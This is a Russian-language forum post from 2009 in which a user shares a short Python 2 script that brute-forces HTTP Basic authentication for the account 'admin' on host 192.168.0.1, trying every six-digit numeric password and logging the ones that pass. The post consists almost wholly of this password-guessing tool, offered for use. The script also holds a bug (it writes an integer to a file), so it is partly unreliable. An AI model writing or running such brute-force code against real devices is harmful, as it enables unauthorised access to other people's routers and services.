Показать сообщение отдельно

  #7  
Старый 14.12.2009, 18:13
Nik(rus)
Познающий
Регистрация: 19.06.2009
Сообщений: 34
Провел на форуме:
88269

Репутация: 10
По умолчанию

Код на Python, брутит Basic авторизацию, пароль от 100000 до 999999 на admin на хосте 192.168.0.1
Код:
import base64,httplib

fl = open('log.txt','w')
for i in range(100000,999999):
	headers = {"Content-type": "application/x-www-form-urlencoded","Accept": "text/html","Authorization":"Basic "+base64.b64encode('admin:'+str(i))}
	conn = httplib.HTTPConnection("192.168.0.1")
	conn.request("GET", "/", {}, headers)
	response = conn.getresponse()
	data = response.read()
	conn.close()
	if (data != 'Unauthorized'):
		fl.write(i)
fl.close()
 
Ответить с цитированием